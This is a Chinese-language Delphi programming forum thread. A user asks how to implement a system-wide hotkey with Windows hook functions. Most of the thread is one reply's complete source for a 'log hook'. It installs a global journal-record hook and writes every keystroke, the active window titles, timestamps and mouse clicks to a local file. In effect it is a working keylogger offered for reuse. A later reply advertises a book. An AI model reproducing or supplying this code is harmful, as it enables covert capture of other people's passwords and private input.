HotKey与钩子函数具体实现(100分)

  • 主题发起人 主题发起人 3DDELPHI
  • 开始时间 开始时间
3

3DDELPHI

Unregistered / Unconfirmed
GUEST, unregistred user!
各位好:
有一个关于钩子函数的难题向大家请教:
我想根据HotKey控件设定的值来设定系统的热键,就像金山词霸的“取词开关”那样。
我想要用到钩子函数,它的基本使用一般是安装钩子函数,编写回调函数,释放钩子,但是
具体的实现上(根据HotKey设定的值)我还是遇到了麻烦。在DFW上检索后也没有较好的办法,
还请各位赐教,多谢!!!
 
1.在DLL中编写钩子函数,和安装钩子的函数
2.在Exe中调用上面DLL中安装钩子的函数
3.在DLL中的钩子函数必须设法和Exe联系,比如发送消息和使用临时文件等。
4.Exe必须对DLL的信息予以相应动作
5.程序结束时释放掉资源
 
不是有注册和删除热键的API吗?干嘛还要自己实现?
我给你一个我写的日志钩子,你改改就可以了:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
KeyMask = $80000000;
var
Form1: TForm1;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
implementation

{$R *.dfm}

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
exit;
end;
if (iCode = HC_ACTION) then
begin
pEvt := Pointer(DWord(lParam));
AssignFile(LogFile, 'c:/Log.txt');
Append(LogFile);

FocusWnd := GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
writeln(LogFile);
writeln(LogFile, '*********End**********');
writeln(LogFile);
writeln(LogFile, '********begin*********');
GetWindowText(FocusWnd, Title, 256);
LastFocusWnd := FocusWnd;
Time := DateTimeToStr(Now);
Writeln(LogFile, Time + Format(' 《%s》', [Title]));
end;

if pEvt.message = WM_KEYDOWN then
begin
vKey := LOBYTE(pEvt.paramL);
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);
bShift := ((iShift and KeyMask) = KeyMask);
bCapital := ((iCapital and 1) = 1);
bNumLock := ((iNumLock and 1) = 1);
if ((vKey >= 48) and (vKey <= 57)) then
if not bShift then
Write(LogFile, Char(vKey));
if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
begin
if not bCapital then
begin
if bShift then
ch := Char(vKey)
else
ch := Char(vKey + 32);
end
else begin
if bShift then
ch := Char(vKey + 32)
else
ch := Char(vKey);
end;
Write(LogFile, ch);
end;
if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
if bNumLock then
write(LogFile, Char(vKey - 96 + 48));
ch := 'n';
if (VKey > 105) and (VKey <= 111) then
begin
case vKey of
106: ch := '*';
107: ch := '+';
109: ch := '-';
111: ch := '/';
else
ch := 'n';
end;
end;
if (vKey >= 186) and (vKey <= 222) then // 其他键
begin
case vKey of
186: if not bShift then ch := ';' else ch := ':';
187: if not bShift then ch := '=' else ch := '+';
188: if not bShift then ch := ',' else ch := '<';
189: if not bShift then ch := '-' else ch := '_';
190: if not bShift then ch := '.' else ch := '>';
191: if not bShift then ch := '/' else ch := '?';
192: if not bShift then ch := '`' else ch := '~';
219: if not bShift then ch := '[' else ch := '{';
220: if not bShift then ch := '/' else ch := '|';
221: if not bShift then ch := ']' else ch := '}';
222: if not bShift then ch := Char(27) else ch := '"';
else
ch := 'n';
end;
end;
if ch <> 'n' then
Write(LogFile, ch);
// if (wParam >=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey >= 8) and (vKey <= 46) then //方向键
begin
ch := ' ';
case vKey of
8: str := '[BackSpace]';
9: str := '[TAB]';
13: str := '[Enter]';
32: str := '[Space]';
33: str := '[PageUp]';
34: str := '[PageDown]';
35: str := '[End]';
36: str := '[Home]';
37: str := '[LF]';
38: str := '[UF]';
39: str := '[RF]';
40: str := '[DF]';
45: str := '[Insert]';
46: str := '[Delete]';
else
ch := 'n';
end;
if ch <> 'n' then
begin
if PrvChar <> Char(vKey) then
begin
Write(LogFile, str);
PrvChar := Char(vKey);
end;
end;
end;
end
else
if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
begin
writeln(LogFile);
if pEvt.message = WM_LBUTTONDOWN then
TempStr := 'LButtonDown at: '
else
TempStr := 'RButtonDown at: ';
writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
end;
CloseFile(LogFile);
end;

Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
if LogHook = 0 then
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
if LogHook <> 0 then
begin
UnhookWindowsHookEx(LogHook);
LogHook := 0;
end;
end;

end.

 
多谢各位关注!!!
 
API HOOK、屏幕取词的完整解决方案见我的《delphi深入windows核心编程》一书,
解决了IE、win98下的高技术难题,支持windows98/2000/xp,
我的主页http://wenjinshan.yeah.net
 
后退
顶部